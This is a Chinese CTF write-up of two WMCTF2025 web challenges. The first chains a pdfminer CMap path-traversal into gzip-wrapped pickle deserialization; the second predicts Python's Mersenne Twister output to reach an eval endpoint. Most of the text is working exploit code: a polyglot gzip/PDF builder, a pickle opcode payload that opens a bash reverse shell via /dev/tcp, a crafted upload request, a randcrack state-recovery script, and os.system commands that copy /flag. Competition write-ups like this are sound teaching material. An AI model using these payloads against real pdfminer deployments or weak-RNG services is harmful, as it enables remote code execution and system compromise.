WMCTF2025 Web部分题解
WMCTF2025 Web部分题解
pdf2text
提示
Search "pickle.loads" in pdfminer package and try to reach it
我们全局搜索一下

看着挺多,把带有dumps的去了也就没多少了

最后锁定这里,我们单独理一下这里的逻辑
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "")
filename = "%s.pickle.gz" % name
log.debug("loading: %r", name)
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename)
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read()))
finally:
gzfile.close()
raise CMapDB.CMapNotFound(name)遍历的文件路径先尝试从环境变量 CMAP_PATH 中获取,如果环境变量未设置,则使用默认路径 /usr/share/pdfminer/,或者遍历当前脚本所在目录与 cmap 子目录拼接的子目录
但是我们上传的文件怎么控制到上边的这些其中一个地方呢?我们理一下整个处理流程
get_cmap_from_spec()走到 CMapDB._load_data(),get_cmap()又调用_load_data


很明显name是从get_cmap_from_spec那里传的我们看一下
def get_cmap_from_spec(self, spec: Mapping[str, Any], strict: bool) -> CMapBase:
"""Get cmap from font specification
从字体配置信息中获取字符映射表(CMap)
对于某些PDF文件,编码类型(Encoding Type)不会作为Encoding的属性直接给出,
而是作为CMapName的属性存在,其中CMapName又是spec['Encoding']的一个属性
水平/垂直模式会用不同的名称表示,比如'DLIdent-H/V'、'OneByteIdentityH/V'、'Identity-H/V'等。
"""
cmap_name = self._get_cmap_name(spec, strict)
try:
return CMapDB.get_cmap(cmap_name)
except CMapDB.CMapNotFound as e:
if strict:
raise PDFFontError(e)
return CMap()这里注释我翻译成了中文,关键是CMapName是spec['Encoding']的一个属性
也就是说name通过/Encoding属性可控,也就是我们能控制filename

那么我们设置/Encoding属性为/app/uploads/xx,配合这里的path.join就能把filename变为/app/uploads/xx.pickle.gz,但是在pdf的属性里面/是分隔符,我们这里稍微搜一下ai了解到用#2F代替即可,这里还有一个需要注意的点,/Encoding命名必须符合PDF的编码名,也就是加上-H (水平书写模式)例如
/Encoding /#2Fapp#2Fuploads#2FYUN-H
那么下一个问题来了,我们上传的是pdf文件,怎么保证它既满足pdf的格式又能被gz解压呢?
经过测试,满足条件的最小pdf明文字符串是
trailer
<</Root 1>>
xref
但是直接明文写进去也不行,.gz要求内部是DEFLATE 格式数据流,zlib 会生成合法的 DEFLATE 数据流(即使是无压缩,也会按 DEFLATE 规范包装),所以可以通过zlib.compressobj来压缩,内部使用 stored block / 无压缩来确保格式合法
然后pickle反序列化的部分,最好用opcode来控制,因为后面的脏数据会被当成pickle的内容,我们可以用(S"XXX"来包裹从而确定需要序列化的范围
捋一下思路,我们先上传恶意的gz文件,再上传有恶意/Encoding属性的PDF来造成PDF解析,从而触发gz压缩
按照上边的思路来写脚本,这里直接拿队里的脚本了
import os
import pickle
import gzip
def create_payload():
class Attack:
def __reduce__(self):
return (os.system, ('echo "12312312321攻击成功执行!"',))
return pickle.dumps(Attack())
def create_malicious_cmap():
temp_dir = "./"
cmap_file = os.path.join(temp_dir, "Attack-H.pickle.gz")
with gzip.open(cmap_file, 'wb') as f:
f.write(create_payload())
print(f"✅ 恶意CMap: {cmap_file}")
return temp_dir
def create_evil_pdf():
"""生成恶意PDF"""
pdf_data = b"""%PDF-1.4
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
>>
endobj
2 0 obj
<<
/Type /Pages
/Kids [3 0 R]
/Count 1
>>
endobj
3 0 obj
<<
/Type /Page
/Parent 2 0 R
/MediaBox [0 0 612 792]
/Resources <<
/Font <<
/F1 4 0 R
>>
>>
/Contents 5 0 R
>>
endobj
4 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /HeiseiMin-W3
/Encoding /#2Fapp#2Fuploads#2FAttack-H
/DescendantFonts [6 0 R]
>>
endobj
5 0 obj
<<
/Length 60
>>
stream
BT
/F1 12 Tf
100 700 Td
(Chinese Test) Tj
0 -20 Td
(Attack PDF) Tj
ET
endstream
endobj
6 0 obj
<<
/Type /Font
/Subtype /CIDFontType0
/BaseFont /HeiseiMin-W3
/CIDSystemInfo <<
/Registry (Adobe)
/Ordering (Japan1)
/Supplement 0
>>
>>
endobj
xref
0 7
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
0000000251 00000 n
0000000369 00000 n
0000000489 00000 n
trailer
<<
/Size 7
/Root 1 0 R
>>
startxref
629
%%EOF"""
with open("attack.pdf", 'wb') as f:
f.write(pdf_data)
print("恶意PDF: attack.pdf")
return "attack.pdf"
def execute_attack(cmap_dir, pdf_file):
# 设置恶意CMap路径
os.environ['CMAP_PATH'] = cmap_dir
try:
from pdfminer.high_level import extract_text
text = extract_text(pdf_file)
print(f"PDF内容: {text}")
except Exception as e:
print(f"处理异常: {e}")
print("攻击完成")
def main():
# 生成恶意字符集
cmap_dir = create_malicious_cmap()
# 生成恶意PDF
pdf_file = create_evil_pdf()
# 执行攻击测试
execute_attack(cmap_dir, pdf_file)
if __name__ == "__main__":
main()因为解析问题,脚本呢之类不能改,我们上传时抓包修改/Ecoding加上#2Fapp#2Fuploads#2F
import gzip
import zlib
import requests
pdf = b"""(S\"
trailer
<</Root 1>>
xref
\"""" #明文脏数据,保证通过pdf的判断
def opcode():
a = '''(S"bash -c 'bash -i >& /dev/tcp/xxx/2333 0>&1'"
ios
system
.'''
return a.encode()
cmap_file = "Attack-H.pickle.gz"
with gzip.open(cmap_file, 'wb') as f:
f.write(opcode())
# 把 pdf 打包成一个合法的 gzip 成员(内部使用 stored block / 无压缩)
# 注意:wbits=31 -> 16 + MAX_WBITS -> 生成带 gzip wrapper 的字节流
comp = zlib.compressobj(level=0, # 0 -> no compression -> stored blocks
method=zlib.DEFLATED,
wbits=31) # 16 + MAX_WBITS -> gzip wrapper
gz_bytes = comp.compress(pdf) + comp.flush()
with open(cmap_file, "ab") as f:
f.write(gz_bytes)
url = "http://49.232.42.74:30852"
requests.post(url + "/upload",files={"file": open(cmap_file, 'rb')})再传pdf
POST /upload HTTP/1.1
Host: 49.232.42.74:30852
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://49.232.42.74:30852/
Content-Type: multipart/form-data; boundary=----geckoformboundary37425331aa8ca29398aa0cc1664f31f8
Content-Length: 1076
Origin: http://49.232.42.74:30852
Connection: keep-alive
Priority: u=0
------geckoformboundary37425331aa8ca29398aa0cc1664f31f8
Content-Disposition: form-data; name="file"; filename="attack.pdf"
Content-Type: application/pdf
%PDF-1.4
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
>>
endobj
2 0 obj
<<
/Type /Pages
/Kids [3 0 R]
/Count 1
>>
endobj
3 0 obj
<<
/Type /Page
/Parent 2 0 R
/MediaBox [0 0 612 792]
/Resources <<
/Font <<
/F1 4 0 R
>>
>>
/Contents 5 0 R
>>
endobj
4 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /HeiseiMin-W3
/Encoding /#2Fapp#2Fuploads#2FAttack-H
/DescendantFonts [6 0 R]
>>
endobj
5 0 obj
<<
/Length 60
>>
stream
BT
/F1 12 Tf
100 700 Td
(Chinese Test) Tj
0 -20 Td
(Attack PDF) Tj
ET
endstream
endobj
6 0 obj
<<
/Type /Font
/Subtype /CIDFontType0
/BaseFont /HeiseiMin-W3
/CIDSystemInfo <<
/Registry (Adobe)
/Ordering (Japan1)
/Supplement 0
>>
>>
endobj
xref
0 7
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
0000000251 00000 n
0000000369 00000 n
0000000489 00000 n
trailer
<<
/Size 7
/Root 1 0 R
>>
startxref
629
%%EOF
------geckoformboundary37425331aa8ca29398aa0cc1664f31f8--
成功弹shell

flag{c51ee0f1-3fa3-467e-8a6b-75f8afd31869}
guess
这里给了源码
稍微代审一下,这里贴一下关键代码
def protected_api():
data = request.get_json()
key1 = data.get('key')
if not key1:
return jsonify({'error': 'key are required'}), 400
key2 = generate_random_string()
if not str(key1) == str(key2):
return jsonify({
'message': 'Not Allowed:' + str(key2) ,
}), 403
payload = data.get('payload')
if payload:
eval(payload, {'__builtin__':{}})
return jsonify({
'message': 'Access granted',
})关键在于预测key2的值,而key2的值生成逻辑如下
rd = random.Random()
def generate_random_string():
return str(rd.getrandbits(32))转换一下也就是
random.getrandits(32)生成一个32比特长的随机整数
要想预测key2,我们需要关注这里的随机数的逻辑,random库内置的算法为梅森算法 ,之所以叫梅森是因为最长周期取自一个梅森素数2的19937次方−1,也就是说只要超过周期,我们即可预测下一个key2
最为广泛使用梅森算法的一种变体是MT19937,可以产生32位整数序列,也就是这题随机数产生的算法, 其生成的数据在624*32=19936后会达到循环
mt19937的随机数生成器结构首先需要一个uint32的种子,然后生成一个具有624个uint32数组的状态数组。生成状态数组之后,进行一次旋转,最终可以输出624个随机的uint32,然后重复执行旋转操作,我们通过注册用户的随机id或者访问api回显的key2来收集到624个随机数,也就能进行主动旋转预测下一次的key2
脚本实现如下
import requests
from randcrack import RandCrack
TARGET_URL = "http://49.232.42.74:30149/"
def collect_needed_randoms(required=624):
"""收集足够的随机数用于恢复状态"""
rc = RandCrack()
collected = 0
# 1. 从注册接口收集
print("从注册接口收集随机数...")
while collected < required:
username = f"rc_collect_{collected}_{hash(str(collected))}"
password = "collect_123"
try:
response = requests.post(
f"{TARGET_URL}/register",
json={"username": username, "password": password},
timeout=10
)
if response.status_code == 201:
user_id = int(response.json()["user_id"])
rc.submit(user_id)
collected += 1
if collected % 50 == 0: # 每50个进度提示
print(f"已收集 {collected}/{required} 个")
else:
print(f"注册接口受限,切换到API接口 (状态码: {response.status_code})")
break
except Exception as e:
print(f"注册请求错误: {str(e)},切换到API接口")
break
# 2. 从API接口补充剩余
if collected < required:
print(f"从API接口补充剩余 {required - collected} 个...")
while collected < required:
try:
response = requests.post(
f"{TARGET_URL}/api",
json={"key": "invalid_key"},
timeout=10
)
message = response.json().get("message", "")
if "Not Allowed:" in message:
key2 = int(message.split("Not Allowed:")[1].strip())
rc.submit(key2)
collected += 1
if collected % 50 == 0:
print(f"已收集 {collected}/{required} 个")
except Exception as e:
print(f"API请求错误: {str(e)},继续尝试...")
return rc if collected >= required else None
def predict_next_20(rc):
"""预测后续20个随机数"""
print("\n预测的后续20个随机数:")
predictions = []
for i in range(20):
pred = rc.predict_getrandbits(32)
predictions.append(pred)
print(f"第{i + 1}个: {pred}")
return predictions
def test_predictions(predictions):
"""测试预测的随机数是否正确(通过API接口验证)"""
print("\n开始验证预测结果...")
success = 0
for i, pred in enumerate(predictions[:5]): # 测试前5个即可
try:
response = requests.post(
f"{TARGET_URL}/api",
json={"key": str(pred)},
timeout=10
)
if response.status_code == 200:
print(f"第{i + 1}个预测正确! 响应: {response.text}")
success += 1
else:
actual = response.json().get("message", "").split("Not Allowed:")[-1]
print(f"第{i + 1}个预测错误 - 预测值: {pred}, 实际值: {actual}")
except Exception as e:
print(f"验证第{i + 1}个失败: {str(e)}")
print(f"\n验证结果: {success}/5 预测正确")
if __name__ == "__main__":
# 1. 收集624个随机数恢复状态
rc = collect_needed_randoms()
if not rc:
print("无法收集足够的随机数,退出")
exit(1)
# 2. 预测后续20个随机数
predictions = predict_next_20(rc)
# 3. 验证预测结果(可选)
test_predictions(predictions)
得到key2的预测值再来rce,但是无回显,我们构造payload,自己创一个静态目录再把命令结果写到文件里
__import__('os').system('mkdir /app/static')
__import__('os').system('cat /flag > /app/static/flag.txt')

通过PDF编码特性控制文件路径触发gzip解压与pickle反序列化,并利用MT19937熵不足预测密钥实现无回显RCE
由 AI 根据全文自动生成,仅供参考,以原文为准